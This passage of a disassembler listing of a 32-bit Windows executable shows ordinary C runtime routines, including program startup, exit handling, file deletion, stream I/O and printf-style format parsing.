		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_40D1C6


loc_40D1B3:				; CODE XREF: sub_40D167+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40D1BB
		call	eax


loc_40D1BB:				; CODE XREF: sub_40D167+50j
		sub	esi, 4
		cmp	esi, dword_480F9C
		jnb	short loc_40D1B3


loc_40D1C6:				; CODE XREF: sub_40D167+4Aj
		pop	esi


loc_40D1C7:				; CODE XREF: sub_40D167+3Cj
		push	offset dword_419030
		push	offset dword_419028
		call	sub_40D200
		pop	ecx
		pop	ecx


loc_40D1D8:				; CODE XREF: sub_40D167+33j
		push	offset dword_41903C
		push	offset dword_419034
		call	sub_40D200
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_40D1FE
		push	[esp+4+arg_0]
		mov	dword_47F95C, edi
		call	dword_41706C	; ExitProcess


loc_40D1FE:				; CODE XREF: sub_40D167+85j
		pop	edi
		retn
sub_40D167	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D200	proc near		; CODE XREF: sub_40D118+15p
					; sub_40D118+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_40D205:				; CODE XREF: sub_40D200+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_40D218
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40D213
		call	eax


loc_40D213:				; CODE XREF: sub_40D200+Fj
		add	esi, 4
		jmp	short loc_40D205
; ---------------------------------------------------------------------------


loc_40D218:				; CODE XREF: sub_40D200+9j
		pop	esi
		retn
sub_40D200	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D21A	proc near		; CODE XREF: sub_406422+FCp
					; sub_40A1F9+1E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_40B5B0
		cmp	eax, 1
		pop	ecx
		jb	short loc_40D255
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_40D255
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_40D251
		push	2
		push	ebx
		push	esi
		call	sub_41241F
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_40D251:				; CODE XREF: sub_40D21A+25j
		inc	ebx
		inc	ebx
		jmp	short loc_40D25F
; ---------------------------------------------------------------------------


loc_40D255:				; CODE XREF: sub_40D21A+18j
					; sub_40D21A+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_40D25F
		and	byte ptr [eax],	0


loc_40D25F:				; CODE XREF: sub_40D21A+39j
					; sub_40D21A+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_40D2D7


loc_40D272:				; CODE XREF: sub_40D21A+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_480E61[edx], 4
		jz	short loc_40D283
		inc	eax
		jmp	short loc_40D29D
; ---------------------------------------------------------------------------


loc_40D283:				; CODE XREF: sub_40D21A+64j
		cmp	cl, 2Fh
		jz	short loc_40D297
		cmp	cl, 5Ch
		jz	short loc_40D297
		cmp	cl, 2Eh
		jnz	short loc_40D29D
		mov	[ebp+var_4], eax
		jmp	short loc_40D29D
; ---------------------------------------------------------------------------


loc_40D297:				; CODE XREF: sub_40D21A+6Cj
					; sub_40D21A+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_40D29D:				; CODE XREF: sub_40D21A+67j
					; sub_40D21A+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_40D272
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_40D2D7
		cmp	[ebp+arg_8], 0
		jz	short loc_40D2D2
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_40D2BB
		mov	edi, esi


loc_40D2BB:				; CODE XREF: sub_40D21A+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_41241F
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_40D2D2:				; CODE XREF: sub_40D21A+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_40D2E1
; ---------------------------------------------------------------------------


loc_40D2D7:				; CODE XREF: sub_40D21A+56j
					; sub_40D21A+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_40D2E1
		and	byte ptr [ecx],	0


loc_40D2E1:				; CODE XREF: sub_40D21A+BBj
					; sub_40D21A+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_40D334
		cmp	edi, ebx
		jb	short loc_40D334
		cmp	[ebp+arg_C], 0
		jz	short loc_40D311
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_40D2FA
		mov	edi, esi


loc_40D2FA:				; CODE XREF: sub_40D21A+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_41241F
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_40D311:				; CODE XREF: sub_40D21A+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_40D35C
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_40D321
		mov	esi, eax


loc_40D321:				; CODE XREF: sub_40D21A+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_41241F
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_40D35C
; ---------------------------------------------------------------------------


loc_40D334:				; CODE XREF: sub_40D21A+CCj
					; sub_40D21A+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_40D352
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_40D343
		mov	esi, eax


loc_40D343:				; CODE XREF: sub_40D21A+125j
		push	esi
		push	ebx
		push	edi
		call	sub_41241F
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_40D352:				; CODE XREF: sub_40D21A+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_40D35C
		and	byte ptr [eax],	0


loc_40D35C:				; CODE XREF: sub_40D21A+FCj
					; sub_40D21A+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D21A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D361	proc near		; CODE XREF: sub_406BAB+251Bp
					; sub_406BAB+2548p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_40D375
		xor	eax, eax
		jmp	short loc_40D3AB
; ---------------------------------------------------------------------------


loc_40D375:				; CODE XREF: sub_40D361+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_40D3A5
		mov	esi, [ebp+arg_8]


loc_40D37E:				; CODE XREF: sub_40D361+42j
		dec	dword ptr [esi+4]
		js	short loc_40D38D
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_40D394
; ---------------------------------------------------------------------------


loc_40D38D:				; CODE XREF: sub_40D361+20j
		push	esi
		call	sub_41176F
		pop	ecx


loc_40D394:				; CODE XREF: sub_40D361+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40D3AF
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_40D3A5
		dec	[ebp+arg_4]
		jnz	short loc_40D37E


loc_40D3A5:				; CODE XREF: sub_40D361+18j
					; sub_40D361+3Dj ...
		and	byte ptr [edi],	0


loc_40D3A8:				; CODE XREF: sub_40D361+55j
		mov	eax, ebx
		pop	esi


loc_40D3AB:				; CODE XREF: sub_40D361+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40D3AF:				; CODE XREF: sub_40D361+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_40D3A5
		xor	ebx, ebx
		jmp	short loc_40D3A8
sub_40D361	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D3C0	proc near		; CODE XREF: sub_406BAB+198Fp
					; sub_406BAB+19ADp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_40D3E1
		xor	eax, eax
		jmp	short loc_40D3E3
; ---------------------------------------------------------------------------


loc_40D3E1:				; CODE XREF: sub_40D3C0+1Bj
		mov	eax, edi


loc_40D3E3:				; CODE XREF: sub_40D3C0+1Fj
		cld
		pop	edi
		leave
		retn
sub_40D3C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D3E7	proc near		; CODE XREF: sub_406BAB+1789p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4170DC	; DeleteFileA
		test	eax, eax
		jnz	short loc_40D3FD
		call	dword_417044	; RtlGetLastWin32Error
		jmp	short loc_40D3FF
; ---------------------------------------------------------------------------


loc_40D3FD:				; CODE XREF: sub_40D3E7+Cj
		xor	eax, eax


loc_40D3FF:				; CODE XREF: sub_40D3E7+14j
		test	eax, eax
		jz	short loc_40D40E
		push	eax
		call	sub_411C26
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40D40E:				; CODE XREF: sub_40D3E7+1Aj
		xor	eax, eax
		retn
sub_40D3E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D411	proc near		; CODE XREF: sub_406BAB+16F5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4124A9
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D768
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_412536
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40D411	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D450	proc near		; CODE XREF: sub_406BAB+7A4p
					; sub_40A573+2ACp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_40D481
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_40D47F
		jz	short loc_40D481
		dec	ecx
		dec	ecx


loc_40D47F:				; CODE XREF: sub_40D450+29j
		not	ecx


loc_40D481:				; CODE XREF: sub_40D450+9j
					; sub_40D450+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_40D450	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D488	proc near		; CODE XREF: sub_40A573+2E2p
					; sub_40A573+42Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_40D504
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40D4A7
		cmp	edi, 1
		jz	short loc_40D4A7
		cmp	edi, 2
		jnz	short loc_40D504


loc_40D4A7:				; CODE XREF: sub_40D488+13j
					; sub_40D488+18j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_40D4BE
		push	esi
		call	sub_41260D
		add	[esp+0Ch+arg_4], eax
		pop	ecx
		xor	edi, edi


loc_40D4BE:				; CODE XREF: sub_40D488+27j
		push	esi
		call	sub_41169D
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_40D4D3
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_40D4E7
; ---------------------------------------------------------------------------


loc_40D4D3:				; CODE XREF: sub_40D488+42j
		test	al, 1
		jz	short loc_40D4E7
		test	al, 8
		jz	short loc_40D4E7
		test	ah, 4
		jnz	short loc_40D4E7
		mov	dword ptr [esi+18h], 200h


loc_40D4E7:				; CODE XREF: sub_40D488+49j
					; sub_40D488+4Dj ...
		push	edi
		push	[esp+0Ch+arg_4]
		push	dword ptr [esi+10h]
		call	sub_412573
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_40D511
; ---------------------------------------------------------------------------


loc_40D504:				; CODE XREF: sub_40D488+Bj
					; sub_40D488+1Dj
		mov	dword_47F914, 16h
		or	eax, 0FFFFFFFFh


loc_40D511:				; CODE XREF: sub_40D488+7Aj
		pop	edi
		pop	esi
		retn
sub_40D488	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D514	proc near		; CODE XREF: start-2167j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_417638
		push	offset sub_412F2C
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	dword_417124	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	dword_47F92C, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	dword_47F928, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	dword_47F924, ecx
		shr	eax, 10h
		mov	dword_47F920, eax
		xor	esi, esi
		push	esi
		call	sub_40EBB3
		pop	ecx
		test	eax, eax
		jnz	short loc_40D580
		push	1Ch
		call	sub_40D62F
		pop	ecx


loc_40D580:				; CODE XREF: sub_40D514+62j
		mov	[ebp+var_4], esi
		call	sub_412D79
		call	dword_417120	; GetCommandLineA
		mov	dword_480F8C, eax
		call	sub_412C47
		mov	dword_47F960, eax
		call	sub_4129FA
		call	sub_412941
		call	sub_40D118
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	dword_41711C	; GetStartupInfoA
		call	sub_4128E9
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_40D5CD
		movzx	eax, [ebp+var_2C]
		jmp	short loc_40D5D0
; ---------------------------------------------------------------------------


loc_40D5CD:				; CODE XREF: sub_40D514+B1j
		push	0Ah
		pop	eax


loc_40D5D0:				; CODE XREF: sub_40D514+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	dword_41708C	; GetModuleHandleA
		push	eax
		call	sub_406422
		mov	[ebp+var_60], eax
		push	eax
		call	sub_40D145
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_412765
		pop	ecx
		pop	ecx
		retn
sub_40D514	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_40D156

; =============== S U B	R O U T	I N E =======================================



sub_40D60A	proc near		; CODE XREF: sub_40C212+16p
					; sub_412941+4Ep ...

arg_0		= dword	ptr  4

		cmp	dword_47F968, 1
		jnz	short loc_40D618
		call	sub_413004


loc_40D618:				; CODE XREF: sub_40D60A+7j
		push	[esp+arg_0]
		call	sub_41303D
		push	0FFh
		call	off_41DBF0
		pop	ecx
		pop	ecx
		retn
sub_40D60A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D62F	proc near		; CODE XREF: sub_40D514+66p

arg_0		= dword	ptr  4

		cmp	dword_47F968, 1
		jnz	short loc_40D63D
		call	sub_413004


loc_40D63D:				; CODE XREF: sub_40D62F+7j
		push	[esp+arg_0]
		call	sub_41303D
		pop	ecx
		push	0FFh
		call	dword_41706C	; ExitProcess
		retn
sub_40D62F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D653	proc near		; CODE XREF: sub_40B0B3+46p
					; sub_40BDE7+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_40D75C
		test	al, 40h
		jnz	loc_40D75C
		test	al, 1
		jz	short loc_40D68B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_40D75C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_40D68B:				; CODE XREF: sub_40D653+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_40D6C5
		cmp	esi, offset dword_420330
		jz	short loc_40D6B3
		cmp	esi, offset dword_420350
		jnz	short loc_40D6BE


loc_40D6B3:				; CODE XREF: sub_40D653+56j
		push	ebx
		call	sub_413381
		test	eax, eax
		pop	ecx
		jnz	short loc_40D6C5


loc_40D6BE:				; CODE XREF: sub_40D653+5Ej
		push	esi
		call	sub_41333D
		pop	ecx


loc_40D6C5:				; CODE XREF: sub_40D653+4Ej
					; sub_40D653+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_40D732
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_40D6F5
		push	edi
		push	eax
		push	ebx
		call	sub_413190
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_40D728
; ---------------------------------------------------------------------------


loc_40D6F5:				; CODE XREF: sub_40D653+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D710
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_480C40[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_40D715
; ---------------------------------------------------------------------------


loc_40D710:				; CODE XREF: sub_40D653+A5j
		mov	eax, offset dword_420278


loc_40D715:				; CODE XREF: sub_40D653+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_40D728
		push	2
		push	0
		push	ebx
		call	sub_412573
		add	esp, 0Ch


loc_40D728:				; CODE XREF: sub_40D653+A0j
					; sub_40D653+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_40D746
; ---------------------------------------------------------------------------


loc_40D732:				; CODE XREF: sub_40D653+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_413190
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_40D746:				; CODE XREF: sub_40D653+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_40D752
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_40D761
; ---------------------------------------------------------------------------


loc_40D752:				; CODE XREF: sub_40D653+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_40D764
; ---------------------------------------------------------------------------


loc_40D75C:				; CODE XREF: sub_40D653+10j
					; sub_40D653+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_40D761:				; CODE XREF: sub_40D653+FDj
		or	eax, 0FFFFFFFFh


loc_40D764:				; CODE XREF: sub_40D653+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40D653	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D768	proc near		; CODE XREF: sub_40B0B3+29p
					; sub_40BDE7+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_40DE81
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_40D79C
; ---------------------------------------------------------------------------


loc_40D794:				; CODE XREF: sub_40D768+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_40D79C:				; CODE XREF: sub_40D768+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_40DE81
		cmp	bl, 20h
		jl	short loc_40D7BD
		cmp	bl, 78h
		jg	short loc_40D7BD
		movsx	eax, bl
		mov	al, byte_417624[eax]
		and	eax, 0Fh
		jmp	short loc_40D7BF
; ---------------------------------------------------------------------------


loc_40D7BD:				; CODE XREF: sub_40D768+40j
					; sub_40D768+45j
		xor	eax, eax


loc_40D7BF:				; CODE XREF: sub_40D768+53j
		movsx	eax, byte_417644[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_40DE70	; default
		jmp	off_40DE89[eax*4] ; switch jump


loc_40D7DD:				; DATA XREF: .nsp0:off_40DE89o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0040D7D6 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D7F8:				; CODE XREF: sub_40D768+6Ej
					; DATA XREF: .nsp0:off_40DE89o
		movsx	eax, bl		; jumptable 0040D7D6 case 2
		sub	eax, 20h
		jz	short loc_40D83B
		sub	eax, 3
		jz	short loc_40D832
		sub	eax, 8
		jz	short loc_40D829
		dec	eax
		dec	eax
		jz	short loc_40D820
		sub	eax, 3
		jnz	loc_40DE70	; default
		or	[ebp+var_4], 8
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D820:				; CODE XREF: sub_40D768+A4j
		or	[ebp+var_4], 4
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D829:				; CODE XREF: sub_40D768+A0j
		or	[ebp+var_4], 1
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D832:				; CODE XREF: sub_40D768+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D83B:				; CODE XREF: sub_40D768+96j
		or	[ebp+var_4], 2
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D844:				; CODE XREF: sub_40D768+6Ej
					; DATA XREF: .nsp0:off_40DE89o
		cmp	bl, 2Ah		; jumptable 0040D7D6 case 3
		jnz	short loc_40D86C
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40DF47
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_40DE70	; default
		or	[ebp+var_4], 4
		neg	eax


loc_40D864:				; CODE XREF: sub_40D768+111j
		mov	[ebp+var_20], eax
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D86C:				; CODE XREF: sub_40D768+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_40D864
; ---------------------------------------------------------------------------


loc_40D87B:				; CODE XREF: sub_40D768+6Ej
					; DATA XREF: .nsp0:off_40DE89o
		mov	[ebp+var_10], edx ; jumptable 0040D7D6 case 4
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D883:				; CODE XREF: sub_40D768+6Ej
					; DATA XREF: .nsp0:off_40DE89o
		cmp	bl, 2Ah		; jumptable 0040D7D6 case 5
		jnz	short loc_40D8A6
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40DF47
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_40DE70	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D8A6:				; CODE XREF: sub_40D768+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D8B8:				; CODE XREF: sub_40D768+6Ej
					; DATA XREF: .nsp0:off_40DE89o
		cmp	bl, 49h		; jumptable 0040D7D6 case 6
		jz	short loc_40D8EB
		cmp	bl, 68h
		jz	short loc_40D8E2
		cmp	bl, 6Ch
		jz	short loc_40D8D9
		cmp	bl, 77h
		jnz	loc_40DE70	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D8D9:				; CODE XREF: sub_40D768+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D8E2:				; CODE XREF: sub_40D768+158j
		or	[ebp+var_4], 20h
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D8EB:				; CODE XREF: sub_40D768+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_40D904
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_40D904
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D904:				; CODE XREF: sub_40D768+186j
					; sub_40D768+18Cj
		mov	[ebp+var_30], edx


loc_40D907:				; CODE XREF: sub_40D768+6Ej
					; DATA XREF: .nsp0:off_40DE89o
		mov	ecx, off_41FD78	; jumptable 0040D7D6 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_40D933
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_40DEA9
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_40D933:				; CODE XREF: sub_40D768+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_40DEA9
		add	esp, 0Ch
		jmp	loc_40DE70	; default
; ---------------------------------------------------------------------------


loc_40D94B:				; CODE XREF: sub_40D768+6Ej
					; DATA XREF: .nsp0:off_40DE89o
		movsx	eax, bl		; jumptable 0040D7D6 case 7
		cmp	eax, 67h
		jg	loc_40DB73
		cmp	eax, 65h
		jge	loc_40D9F6
		cmp	eax, 58h
		jg	loc_40DA54
		jz	loc_40DBE7
		sub	eax, 43h
		jz	loc_40DA17
		dec	eax
		dec	eax
		jz	short loc_40D9EC
		dec	eax
		dec	eax
		jz	short loc_40D9EC
		sub	eax, 0Ch
		jnz	loc_40DD72
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_40D995
		or	byte ptr [ebp+var_4+1],	8


loc_40D995:				; CODE XREF: sub_40D768+227j
					; sub_40D768+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40D9A2
		mov	esi, 7FFFFFFFh


loc_40D9A2:				; CODE XREF: sub_40D768+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_40DF47
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_40DBBB
		test	ecx, ecx
		jnz	short loc_40D9CA
		mov	ecx, off_41DBFC
		mov	[ebp+var_8], ecx


